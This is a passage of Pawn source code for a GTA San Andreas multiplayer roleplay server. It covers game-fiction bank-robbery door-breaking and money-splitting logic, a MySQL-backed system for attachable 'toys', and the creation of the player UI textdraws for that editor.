SendRadioMessage(1, COLOR_BLUE, "[Dep-Warn]: {0069FF}Jail's power broke. Prison main gate is also broken.");
SendRadioMessage(2, COLOR_BLUE, "[Dep-Warn]: {0069FF}Jail's power broke. Prison main gate is also broken.");
SendRadioMessage(3, COLOR_BLUE, "[Dep-Warn]: {0069FF}Jail's power broke. Prison main gate is also broken.");
StartPrisonAlarm();
}
if(BreakAvDar != 0 && IsServerRob != 0)
{
if(objectid == BankMapLSDar1)
{
BankMapLSDar1HP -= 20;
if(BankMapLSDar1HP <= 10)
{
KillTimer(BreakThatDoor);
DestroyDynamicObject(BankMapLSDar1);
LSDarTimer = SetTimer("BankDarRestart", 600000, 0);
SendRobMessage(COLOR_ROB, " Nice, first security door broke. You have 10 minutes to finish this rob from now.");
SendRobMessage(COLOR_ROB, " Hacker should hack next door with /hack.");
}
}
if(objectid == BankMapLVDar1)
{
BankMapLVDar1HP -= 20;
if(BankMapLVDar1HP <= 10)
{
KillTimer(BreakThatDoor);
DestroyDynamicObject(BankMapLVDar1);
LVDarTimer = SetTimer("BankDarRestart2", 600000, 0);
SendRobMessage(COLOR_ROB, " Nice, first security door broke. You have 10 minutes to finish this rob from now.");
SendRobMessage(COLOR_ROB, " Hacker should hack next door with /hack.");
}
}
}
return 1;
}
function BreakThatDoor1()
{
SendRobMessage(COLOR_ROB, "You failed on break first security door, you all failed.");
KillTimer(BreakThatDoor);
StopRob();
return 1;
}
function NOPMinX(playerid)
{
if(NOPMin[playerid]!=0){KillTimer(NOPMin[playerid]);NOPMin[playerid]=0;}
StopLoopingAnim(playerid); ImPickingUp[playerid] = 0;
new HesabKon = (PINFO[sHacker][pRank]*5000);
new HesabKom = (PINFO[sRunner][pRob]+1000);
new Rnad = RandomShomare(3000,8600);
new Nahayi = (HesabKon+HesabKom);
new Nahayi2 = (Nahayi+Rnad);
PickupedPool += Nahayi2;
MyBardashtedPool[playerid] += Nahayi2;
if(PoolToo1 == 1 && PoolToo2 == 1 && PoolToo3 == 1 && PoolToo4 == 1){SendRobMessage(COLOR_ROB, " Run away from the bank. Give money to the runner with /givecash.");}
return 1;
}
function UpdateTDTake()
{
new VInevS[128];
format(VInevS, sizeof(VInevS), "Take $%s", FormatNumber(PickupedPool));
TextDrawSetString(TDTake, VInevS);
return 1;
}
public ToysSave(playerid)
{
	for(new i; i < MAX_PLAYER_TOYS_SLOT; i++)
	{
		SaveToy(playerid,i);
	}
}
stock ToysSlotSave(playerid, i, num)
{
	new query[300];
	mysql_format(handle,query,sizeof(query),"UPDATE `toys` SET ao_model='%d', ao_bone='%d', ao_x='%f', ao_y='%f', ao_z='%f', ao_rx='%f',\
	ao_ry='%f', ao_rz='%f', ao_sx='%f', ao_sy='%f', ao_sz='%f', ao_color1='%i', ao_color2='%i' WHERE Owner='%e' AND tSlot='%d'",PlayerObjectsInfo[playerid][i][ao_model],PlayerObjectsInfo[playerid][i][ao_bone],
	PlayerObjectsInfo[playerid][i][ao_x],PlayerObjectsInfo[playerid][i][ao_y],PlayerObjectsInfo[playerid][i][ao_z],PlayerObjectsInfo[playerid][i][ao_rx],PlayerObjectsInfo[playerid][i][ao_ry],PlayerObjectsInfo[playerid][i][ao_rz],
	PlayerObjectsInfo[playerid][i][ao_sx],PlayerObjectsInfo[playerid][i][ao_sy],PlayerObjectsInfo[playerid][i][ao_sz],PlayerObjectsInfo[playerid][i][colorx1],PlayerObjectsInfo[playerid][i][colorx2],PlayerInfo[playerid][pName],i);
	mysql_tquery(handle,query);
	//print(query);
	if(num==2)
	{
		mysql_format(handle, query, sizeof(query), "UPDATE `toys` SET ao_enable='%d' WHERE Owner='%e' AND tSlot='%d'",PlayerObjectsInfo[playerid][i][ao_enable],PlayerInfo[playerid][pName],i);
		mysql_query(handle, query, false);
	}
}
stock SaveToy(playerid, i)
{
	new query[300];
	mysql_format(handle,query,sizeof(query),"UPDATE `toys` SET ao_model='%d', ao_bone='%d', ao_enable='%d', ao_x='%f', ao_y='%f', ao_z='%f', ao_rx='%f',\
	ao_ry='%f', ao_rz='%f', ao_sx='%f', ao_sy='%f', ao_sz='%f', ao_color1='%i', ao_color2='%i' WHERE Owner='%e' AND tSlot='%d'",PlayerObjectsInfo[playerid][i][ao_model],PlayerObjectsInfo[playerid][i][ao_bone],PlayerObjectsInfo[playerid][i][ao_enable],
	PlayerObjectsInfo[playerid][i][ao_x],PlayerObjectsInfo[playerid][i][ao_y],PlayerObjectsInfo[playerid][i][ao_z],PlayerObjectsInfo[playerid][i][ao_rx],PlayerObjectsInfo[playerid][i][ao_ry],PlayerObjectsInfo[playerid][i][ao_rz],
	PlayerObjectsInfo[playerid][i][ao_sx],PlayerObjectsInfo[playerid][i][ao_sy],PlayerObjectsInfo[playerid][i][ao_sz],PlayerObjectsInfo[playerid][i][colorx1],PlayerObjectsInfo[playerid][i][colorx2],PlayerInfo[playerid][pName],i);
	mysql_tquery(handle,query);
}
public ShowToysStudio(playerid)
{
    CreateToysPlayerTextDraws(playerid);
    ToysStudioDT[playerid][Enable] = 1;
    ToysStudioDT[playerid][WhoSlot] = 0;
    ToysStudioDT[playerid][LastSelect] = 9999;
    FixToysStudioTemp(playerid, 0);
    UpdateToysEditor(playerid);
	CanYES[playerid]=1;
	for(new s=0; s < sizeof(ToysGTD);s++) TextDrawShowForPlayer(playerid, ToysGTD[s]);
	for(new i = 0; i < 12; i++)PlayerTextDrawShow(playerid, TOYS_PTD[playerid][i]);
}
public HideToysStudio(playerid)
{
    ToysStudioDT[playerid][Enable] = 0;
    ToysStudioDT[playerid][WhoSlot] = 0;
    CanYES[playerid]=0;
	for(new i = 0; i < sizeof(ToysGTD); i++)TextDrawHideForPlayer(playerid, ToysGTD[i]);
	for(new i = 0; i < 12; i++)PlayerTextDrawHide(playerid, TOYS_PTD[playerid][i]);
	DestroyToysPlayerTextDraws(playerid);
}
public GetToysEnabled(playerid)
{
	new i =0;
	for(new c = 0; c < 20; c++)
	{
	    if(PlayerObjectsInfo[playerid][c][ao_enable] == 1)
	    {
	        i++;
	    }
	}
	return i;
}
public UpdateToySlot(playerid, slotid)
{
	if(PlayerObjectsInfo[playerid][slotid][ao_enable]==1)
	{
		new RealSlot = GetFreeToySlot(playerid);
		if(RealSlot != 9999)
		{
		    if(IsPlayerAttachedObjectSlotUsed(playerid, RealSlot)) RemovePlayerAttachedObject(playerid, RealSlot);
		    SetPlayerAttachedObject( playerid, RealSlot, PlayerObjectsInfo[playerid][slotid][ao_model], PlayerObjectsInfo[playerid][slotid][ao_bone], PlayerObjectsInfo[playerid][slotid][ao_x], PlayerObjectsInfo[playerid][slotid][ao_y], PlayerObjectsInfo[playerid][slotid][ao_z]
			, PlayerObjectsInfo[playerid][slotid][ao_rx], PlayerObjectsInfo[playerid][slotid][ao_ry], PlayerObjectsInfo[playerid][slotid][ao_rz], PlayerObjectsInfo[playerid][slotid][ao_sx], PlayerObjectsInfo[playerid][slotid][ao_sy], PlayerObjectsInfo[playerid][slotid][ao_sz],PlayerObjectsInfo[playerid][slotid][colorx1],PlayerObjectsInfo[playerid][slotid][colorx2]);
	        PlayerObjectsInfo[playerid][slotid][ao_slot] = RealSlot;
		}
		else
		{
		    SendClientMessage(playerid,0xFFFF00FF, "Toys-System: {ffffff}Error: #6443 take a screen shot and report id to scripter!");
		}
	}
	else
	{
	    if(IsPlayerAttachedObjectSlotUsed(playerid, PlayerObjectsInfo[playerid][slotid][ao_slot]))RemovePlayerAttachedObject(playerid, PlayerObjectsInfo[playerid][slotid][ao_slot]);
	    PlayerObjectsInfo[playerid][slotid][ao_slot] = -1;
	}
}
public GetFreeToySlot(playerid)
{
	new ID = 9999;
	for(new i = 0; i < 10; i++)
	{
	    if(!IsPlayerAttachedObjectSlotUsed(playerid, i) && ID == 9999)ID = i;
	}
	return ID;
}
public DestroyToysPlayerTextDraws(playerid)
{
	if(ToysTdCreated[playerid] == 1)
	{
		for(new i = 0; i < 12; i++)
		{
		    PlayerTextDrawHide(playerid, TOYS_PTD[playerid][i]);
			PlayerTextDrawDestroy(playerid, TOYS_PTD[playerid][i]);
		}
		for(new i = 0; i < 13; i++)
		{
			PlayerTextDrawHide(playerid, SELECTER[playerid][i]);
			PlayerTextDrawDestroy(playerid, SELECTER[playerid][i]);
		}
		ToysTdCreated[playerid] = 0;
	}
}
public CreateToysPlayerTextDraws(playerid)
{
	if(ToysTdCreated[playerid] == 0)
	{
		TOYS_PTD[playerid][0] = CreatePlayerTextDraw(playerid, 590.999938, 130.500000, "Slot:_0");
		PlayerTextDrawLetterSize(playerid, TOYS_PTD[playerid][0], 0.216940, 1.080832);
		PlayerTextDrawTextSize(playerid, TOYS_PTD[playerid][0], 10.000000, 26.000000);
		PlayerTextDrawAlignment(playerid, TOYS_PTD[playerid][0], 2);
		PlayerTextDrawColor(playerid, TOYS_PTD[playerid][0], -1);
		PlayerTextDrawSetShadow(playerid, TOYS_PTD[playerid][0], 1);
		PlayerTextDrawBackgroundColor(playerid, TOYS_PTD[playerid][0], 255);
		PlayerTextDrawFont(playerid, TOYS_PTD[playerid][0], 1);
		PlayerTextDrawSetProportional(playerid, TOYS_PTD[playerid][0], 1);
		PlayerTextDrawSetSelectable(playerid, TOYS_PTD[playerid][0], true);

		TOYS_PTD[playerid][1] = CreatePlayerTextDraw(playerid, 590.999938, 145.500000, "Model:_Cap");
		PlayerTextDrawLetterSize(playerid, TOYS_PTD[playerid][1], 0.216940, 1.080832);
		PlayerTextDrawTextSize(playerid, TOYS_PTD[playerid][1], 10.000000, 40.000000);
		PlayerTextDrawAlignment(playerid, TOYS_PTD[playerid][1], 2);
		PlayerTextDrawColor(playerid, TOYS_PTD[playerid][1], -1);
		PlayerTextDrawSetShadow(playerid, TOYS_PTD[playerid][1], 1);
		PlayerTextDrawBackgroundColor(playerid, TOYS_PTD[playerid][1], 255);
		PlayerTextDrawFont(playerid, TOYS_PTD[playerid][1], 1);
		PlayerTextDrawSetProportional(playerid, TOYS_PTD[playerid][1], 1);
		PlayerTextDrawSetSelectable(playerid, TOYS_PTD[playerid][1], true);

		TOYS_PTD[playerid][2] = CreatePlayerTextDraw(playerid, 590.999938, 160.500000, "Bone:_Head");
		PlayerTextDrawLetterSize(playerid, TOYS_PTD[playerid][2], 0.216940, 1.080832);
		PlayerTextDrawTextSize(playerid, TOYS_PTD[playerid][2], 10.000000, 40.000000);
		PlayerTextDrawAlignment(playerid, TOYS_PTD[playerid][2], 2);
		PlayerTextDrawColor(playerid, TOYS_PTD[playerid][2], -1);
		PlayerTextDrawSetShadow(playerid, TOYS_PTD[playerid][2], 1);
		PlayerTextDrawBackgroundColor(playerid, TOYS_PTD[playerid][2], 255);
		PlayerTextDrawFont(playerid, TOYS_PTD[playerid][2], 1);
		PlayerTextDrawSetProportional(playerid, TOYS_PTD[playerid][2], 1);
		PlayerTextDrawSetSelectable(playerid, TOYS_PTD[playerid][2], true);

		TOYS_PTD[playerid][3] = CreatePlayerTextDraw(playerid, 590.999938, 176.500000, "X_OffSet:_0.00");
		PlayerTextDrawLetterSize(playerid, TOYS_PTD[playerid][3], 0.216940, 1.080832);
		PlayerTextDrawTextSize(playerid, TOYS_PTD[playerid][3], 10.000000, 52.000000);
		PlayerTextDrawAlignment(playerid, TOYS_PTD[playerid][3], 2);
		PlayerTextDrawColor(playerid, TOYS_PTD[playerid][3], -1);
		PlayerTextDrawSetShadow(playerid, TOYS_PTD[playerid][3], 1);
		PlayerTextDrawBackgroundColor(playerid, TOYS_PTD[playerid][3], 255);
		PlayerTextDrawFont(playerid, TOYS_PTD[playerid][3], 1);
		PlayerTextDrawSetProportional(playerid, TOYS_PTD[playerid][3], 1);
		PlayerTextDrawSetSelectable(playerid, TOYS_PTD[playerid][3], true);

		TOYS_PTD[playerid][4] = CreatePlayerTextDraw(playerid, 590.999938, 193.500000, "X_OffSet:_0.00");
		PlayerTextDrawLetterSize(playerid, TOYS_PTD[playerid][4], 0.216940, 1.080832);
		PlayerTextDrawTextSize(playerid, TOYS_PTD[playerid][4], 10.000000, 53.000000);
		PlayerTextDrawAlignment(playerid, TOYS_PTD[playerid][4], 2);
		PlayerTextDrawColor(playerid, TOYS_PTD[playerid][4], -1);
		PlayerTextDrawSetShadow(playerid, TOYS_PTD[playerid][4], 1);
		PlayerTextDrawBackgroundColor(playerid, TOYS_PTD[playerid][4], 255);
		PlayerTextDrawFont(playerid, TOYS_PTD[playerid][4], 1);
		PlayerTextDrawSetProportional(playerid, TOYS_PTD[playerid][4], 1);
		PlayerTextDrawSetSelectable(playerid, TOYS_PTD[playerid][4], true);

		TOYS_PTD[playerid][5] = CreatePlayerTextDraw(playerid, 590.999938, 209.500000, "X_OffSet:_0.00");
		PlayerTextDrawLetterSize(playerid, TOYS_PTD[playerid][5], 0.216940, 1.080832);
		PlayerTextDrawTextSize(playerid, TOYS_PTD[playerid][5], 10.000000, 53.000000);
		PlayerTextDrawAlignment(playerid, TOYS_PTD[playerid][5], 2);
		PlayerTextDrawColor(playerid, TOYS_PTD[playerid][5], -1);
		PlayerTextDrawSetShadow(playerid, TOYS_PTD[playerid][5], 1);
		PlayerTextDrawBackgroundColor(playerid, TOYS_PTD[playerid][5], 255);
		PlayerTextDrawFont(playerid, TOYS_PTD[playerid][5], 1);
		PlayerTextDrawSetProportional(playerid, TOYS_PTD[playerid][5], 1);
		PlayerTextDrawSetSelectable(playerid, TOYS_PTD[playerid][5], true);

		TOYS_PTD[playerid][6] = CreatePlayerTextDraw(playerid, 592.999938, 227.500000, "X_Rotation:_0.00");
		PlayerTextDrawLetterSize(playerid, TOYS_PTD[playerid][6], 0.170818, 0.876666);
		PlayerTextDrawTextSize(playerid, TOYS_PTD[playerid][6], 10.000000, 48.000000);
		PlayerTextDrawAlignment(playerid, TOYS_PTD[playerid][6], 2);
		PlayerTextDrawColor(playerid, TOYS_PTD[playerid][6], -1);
		PlayerTextDrawSetShadow(playerid, TOYS_PTD[playerid][6], 1);
		PlayerTextDrawBackgroundColor(playerid, TOYS_PTD[playerid][6], 255);
		PlayerTextDrawFont(playerid, TOYS_PTD[playerid][6], 1);
		PlayerTextDrawSetProportional(playerid, TOYS_PTD[playerid][6], 1);
		PlayerTextDrawSetSelectable(playerid, TOYS_PTD[playerid][6], true);

		TOYS_PTD[playerid][7] = CreatePlayerTextDraw(playerid, 592.999938, 244.500000, "X_Rotation:_0.00");
		PlayerTextDrawLetterSize(playerid, TOYS_PTD[playerid][7], 0.170818, 0.876666);
		PlayerTextDrawTextSize(playerid, TOYS_PTD[playerid][7], 10.000000, 48.000000);
		PlayerTextDrawAlignment(playerid, TOYS_PTD[playerid][7], 2);
		PlayerTextDrawColor(playerid, TOYS_PTD[playerid][7], -1);
		PlayerTextDrawSetShadow(playerid, TOYS_PTD[playerid][7], 1);
		PlayerTextDrawBackgroundColor(playerid, TOYS_PTD[playerid][7], 255);
		PlayerTextDrawFont(playerid, TOYS_PTD[playerid][7], 1);
		PlayerTextDrawSetProportional(playerid, TOYS_PTD[playerid][7], 1);
		PlayerTextDrawSetSelectable(playerid, TOYS_PTD[playerid][7], true);

		TOYS_PTD[playerid][8] = CreatePlayerTextDraw(playerid, 592.058776, 260.500000, "X_Rotation:_0.00");
		PlayerTextDrawLetterSize(playerid, TOYS_PTD[playerid][8], 0.170818, 0.876666);
		PlayerTextDrawTextSize(playerid, TOYS_PTD[playerid][8], 10.000000, 48.000000);
		PlayerTextDrawAlignment(playerid, TOYS_PTD[playerid][8], 2);
		PlayerTextDrawColor(playerid, TOYS_PTD[playerid][8], -1);
		PlayerTextDrawSetShadow(playerid, TOYS_PTD[playerid][8], 1);
		PlayerTextDrawBackgroundColor(playerid, TOYS_PTD[playerid][8], 255);
		PlayerTextDrawFont(playerid, TOYS_PTD[playerid][8], 1);
		PlayerTextDrawSetProportional(playerid, TOYS_PTD[playerid][8], 1);
		PlayerTextDrawSetSelectable(playerid, TOYS_PTD[playerid][8], true);

		TOYS_PTD[playerid][9] = CreatePlayerTextDraw(playerid, 590.999938, 275.500000, "X_Scale:_0.00");
		PlayerTextDrawLetterSize(playerid, TOYS_PTD[playerid][9], 0.216940, 1.080832);
		PlayerTextDrawTextSize(playerid, TOYS_PTD[playerid][9], 10.000000, 49.000000);
		PlayerTextDrawAlignment(playerid, TOYS_PTD[playerid][9], 2);
		PlayerTextDrawColor(playerid, TOYS_PTD[playerid][9], -1);
		PlayerTextDrawSetShadow(playerid, TOYS_PTD[playerid][9], 1);
		PlayerTextDrawBackgroundColor(playerid, TOYS_PTD[playerid][9], 255);
		PlayerTextDrawFont(playerid, TOYS_PTD[playerid][9], 1);
		PlayerTextDrawSetProportional(playerid, TOYS_PTD[playerid][9], 1);
		PlayerTextDrawSetSelectable(playerid, TOYS_PTD[playerid][9], true);

		TOYS_PTD[playerid][10] = CreatePlayerTextDraw(playerid, 590.999938, 291.500000, "Y_Scale:_0.00");
		PlayerTextDrawLetterSize(playerid, TOYS_PTD[playerid][10], 0.216940, 1.080832);
		PlayerTextDrawTextSize(playerid, TOYS_PTD[playerid][10], 10.000000, 50.000000);
		PlayerTextDrawAlignment(playerid, TOYS_PTD[playerid][10], 2);
		PlayerTextDrawColor(playerid, TOYS_PTD[playerid][10], -1);
		PlayerTextDrawSetShadow(playerid, TOYS_PTD[playerid][10], 1);
		PlayerTextDrawBackgroundColor(playerid, TOYS_PTD[playerid][10], 255);
		PlayerTextDrawFont(playerid, TOYS_PTD[playerid][10], 1);
		PlayerTextDrawSetProportional(playerid, TOYS_PTD[playerid][10], 1);
		PlayerTextDrawSetSelectable(playerid, TOYS_PTD[playerid][10], true);

		TOYS_PTD[playerid][11] = CreatePlayerTextDraw(playerid, 590.999938, 308.500000, "Z_Scale:_0.00");
		PlayerTextDrawLetterSize(playerid, TOYS_PTD[playerid][11], 0.216940, 1.080832);
		PlayerTextDrawTextSize(playerid, TOYS_PTD[playerid][11], 10.000000, 51.000000);
		PlayerTextDrawAlignment(playerid, TOYS_PTD[playerid][11], 2);
		PlayerTextDrawColor(playerid, TOYS_PTD[playerid][11], -1);
		PlayerTextDrawSetShadow(playerid, TOYS_PTD[playerid][11], 1);
		PlayerTextDrawBackgroundColor(playerid, TOYS_PTD[playerid][11], 255);
		PlayerTextDrawFont(playerid, TOYS_PTD[playerid][11], 1);
		PlayerTextDrawSetProportional(playerid, TOYS_PTD[playerid][11], 1);
		PlayerTextDrawSetSelectable(playerid, TOYS_PTD[playerid][11], true);

		SELECTER[playerid][0] = CreatePlayerTextDraw(playerid, 530.411682, 145.083389, "");
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][0], 50.000000, 50.000000);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][0], 1);
		PlayerTextDrawColor(playerid, SELECTER[playerid][0], -1);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][0], 0);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][0], -1431655681);
		PlayerTextDrawFont(playerid, SELECTER[playerid][0], 5);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][0], 0);
		PlayerTextDrawSetSelectable(playerid, SELECTER[playerid][0], true);
		PlayerTextDrawSetPreviewModel(playerid, SELECTER[playerid][0], 0);
		PlayerTextDrawSetPreviewRot(playerid, SELECTER[playerid][0], 0.000000, 0.000000, 0.000000, 1.000000);

		SELECTER[playerid][1] = CreatePlayerTextDraw(playerid, 587.412841, 145.083389, "");
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][1], 50.000000, 50.000000);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][1], 1);
		PlayerTextDrawColor(playerid, SELECTER[playerid][1], -1);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][1], 0);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][1], -1431655681);
		PlayerTextDrawFont(playerid, SELECTER[playerid][1], 5);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][1], 0);
		PlayerTextDrawSetSelectable(playerid, SELECTER[playerid][1], true);
		PlayerTextDrawSetPreviewModel(playerid, SELECTER[playerid][1], 0);
		PlayerTextDrawSetPreviewRot(playerid, SELECTER[playerid][1], 0.000000, 0.000000, 0.000000, 1.000000);

		SELECTER[playerid][2] = CreatePlayerTextDraw(playerid, 530.612854, 208.683258, "");
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][2], 50.000000, 50.000000);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][2], 1);
		PlayerTextDrawColor(playerid, SELECTER[playerid][2], -1);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][2], 0);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][2], -1431655681);
		PlayerTextDrawFont(playerid, SELECTER[playerid][2], 5);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][2], 0);
		PlayerTextDrawSetSelectable(playerid, SELECTER[playerid][2], true);
		PlayerTextDrawSetPreviewModel(playerid, SELECTER[playerid][2], 0);
		PlayerTextDrawSetPreviewRot(playerid, SELECTER[playerid][2], 0.000000, 0.000000, 0.000000, 1.000000);

		SELECTER[playerid][3] = CreatePlayerTextDraw(playerid, 587.612792, 208.683258, "");
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][3], 50.000000, 50.000000);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][3], 1);
		PlayerTextDrawColor(playerid, SELECTER[playerid][3], -1);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][3], 0);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][3], -1431655681);
		PlayerTextDrawFont(playerid, SELECTER[playerid][3], 5);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][3], 0);
		PlayerTextDrawSetSelectable(playerid, SELECTER[playerid][3], true);
		PlayerTextDrawSetPreviewModel(playerid, SELECTER[playerid][3], 0);
		PlayerTextDrawSetPreviewRot(playerid, SELECTER[playerid][3], 0.000000, 0.000000, 0.000000, 1.000000);

		SELECTER[playerid][4] = CreatePlayerTextDraw(playerid, 530.812866, 272.683410, "");
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][4], 50.000000, 50.000000);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][4], 1);
		PlayerTextDrawColor(playerid, SELECTER[playerid][4], -1);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][4], 0);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][4], -1431655681);
		PlayerTextDrawFont(playerid, SELECTER[playerid][4], 5);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][4], 0);
		PlayerTextDrawSetSelectable(playerid, SELECTER[playerid][4], true);
		PlayerTextDrawSetPreviewModel(playerid, SELECTER[playerid][4], 0);
		PlayerTextDrawSetPreviewRot(playerid, SELECTER[playerid][4], 0.000000, 0.000000, 0.000000, 1.000000);

		SELECTER[playerid][5] = CreatePlayerTextDraw(playerid, 587.612792, 272.683410, "");
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][5], 50.000000, 50.000000);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][5], 1);
		PlayerTextDrawColor(playerid, SELECTER[playerid][5], -1);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][5], 0);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][5], -1431655681);
		PlayerTextDrawFont(playerid, SELECTER[playerid][5], 5);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][5], 0);
		PlayerTextDrawSetSelectable(playerid, SELECTER[playerid][5], true);
		PlayerTextDrawSetPreviewModel(playerid, SELECTER[playerid][5], 0);
		PlayerTextDrawSetPreviewRot(playerid, SELECTER[playerid][5], 0.000000, 0.000000, 0.000000, 1.000000);

		SELECTER[playerid][6] = CreatePlayerTextDraw(playerid, 555.682312, 197.333328, "NoName");
		PlayerTextDrawLetterSize(playerid, SELECTER[playerid][6], 0.203000, 0.740000);
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][6], 0.000000, 46.089817);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][6], 2);
		PlayerTextDrawColor(playerid, SELECTER[playerid][6], -1);
		PlayerTextDrawUseBox(playerid, SELECTER[playerid][6], 1);
		PlayerTextDrawBoxColor(playerid, SELECTER[playerid][6], 255);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][6], 0);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][6], -2139094785);
		PlayerTextDrawFont(playerid, SELECTER[playerid][6], 1);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][6], 1);

		SELECTER[playerid][7] = CreatePlayerTextDraw(playerid, 612.412414, 197.333343, "NoName");
		PlayerTextDrawLetterSize(playerid, SELECTER[playerid][7], 0.203000, 0.740000);
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][7], 0.000000, 46.089817);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][7], 2);
		PlayerTextDrawColor(playerid, SELECTER[playerid][7], -1);
		PlayerTextDrawUseBox(playerid, SELECTER[playerid][7], 1);
		PlayerTextDrawBoxColor(playerid, SELECTER[playerid][7], 255);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][7], 0);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][7], -2139094785);
		PlayerTextDrawFont(playerid, SELECTER[playerid][7], 1);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][7], 1);

		SELECTER[playerid][8] = CreatePlayerTextDraw(playerid, 555.541992, 261.150115, "NoName");
		PlayerTextDrawLetterSize(playerid, SELECTER[playerid][8], 0.203000, 0.740000);
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][8], 0.000000, 46.089817);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][8], 2);
		PlayerTextDrawColor(playerid, SELECTER[playerid][8], -1);
		PlayerTextDrawUseBox(playerid, SELECTER[playerid][8], 1);
		PlayerTextDrawBoxColor(playerid, SELECTER[playerid][8], 255);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][8], 0);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][8], -2139094785);
		PlayerTextDrawFont(playerid, SELECTER[playerid][8], 1);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][8], 1);

		SELECTER[playerid][9] = CreatePlayerTextDraw(playerid, 612.341979, 261.350128, "NoName");
		PlayerTextDrawLetterSize(playerid, SELECTER[playerid][9], 0.203000, 0.740000);
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][9], 0.000000, 46.089817);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][9], 2);
		PlayerTextDrawColor(playerid, SELECTER[playerid][9], -1);
		PlayerTextDrawUseBox(playerid, SELECTER[playerid][9], 1);
		PlayerTextDrawBoxColor(playerid, SELECTER[playerid][9], 255);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][9], 0);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][9], -2139094785);
		PlayerTextDrawFont(playerid, SELECTER[playerid][9], 1);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][9], 1);

		SELECTER[playerid][10] = CreatePlayerTextDraw(playerid, 555.871643, 325.316741, "NoName");
		PlayerTextDrawLetterSize(playerid, SELECTER[playerid][10], 0.203000, 0.740000);
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][10], -3.569999, 46.599815);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][10], 2);
		PlayerTextDrawColor(playerid, SELECTER[playerid][10], -1);
		PlayerTextDrawUseBox(playerid, SELECTER[playerid][10], 1);
		PlayerTextDrawBoxColor(playerid, SELECTER[playerid][10], 255);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][10], 0);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][10], -2139094785);
		PlayerTextDrawFont(playerid, SELECTER[playerid][10], 1);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][10], 1);

		SELECTER[playerid][11] = CreatePlayerTextDraw(playerid, 612.341857, 325.316741, "NoName");
		PlayerTextDrawLetterSize(playerid, SELECTER[playerid][11], 0.203000, 0.740000);
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][11], 0.000000, 46.089817);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][11], 2);
		PlayerTextDrawColor(playerid, SELECTER[playerid][11], -1);
		PlayerTextDrawUseBox(playerid, SELECTER[playerid][11], 1);
		PlayerTextDrawBoxColor(playerid, SELECTER[playerid][11], 255);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][11], 0);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][11], -2139094785);
		PlayerTextDrawFont(playerid, SELECTER[playerid][11], 1);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][11], 1);

		SELECTER[playerid][12] = CreatePlayerTextDraw(playerid, 541.635620, 128.733367, "Hats");
		PlayerTextDrawLetterSize(playerid, SELECTER[playerid][12], 0.200000, 1.000000);
		PlayerTextDrawTextSize(playerid, SELECTER[playerid][12], 10.000000, 10.000000);
		PlayerTextDrawAlignment(playerid, SELECTER[playerid][12], 2);
		PlayerTextDrawColor(playerid, SELECTER[playerid][12], -1);
		PlayerTextDrawSetShadow(playerid, SELECTER[playerid][12], 1);
		PlayerTextDrawBackgroundColor(playerid, SELECTER[playerid][12], 255);
		PlayerTextDrawFont(playerid, SELECTER[playerid][12], 1);
		PlayerTextDrawSetProportional(playerid, SELECTER[playerid][12], 1);
		PlayerTextDrawSetSelectable(playerid, SELECTER[playerid][12], true);
		ToysTdCreated[playerid] = 1;
	}
}
public UpdateToysEditor(playerid)
{
	new string[200];
	new slotid = ToysStudioDT[playerid][WhoSlot];
	for(new b=0;b<sizeof(TOYS_LIST);b++)
	{
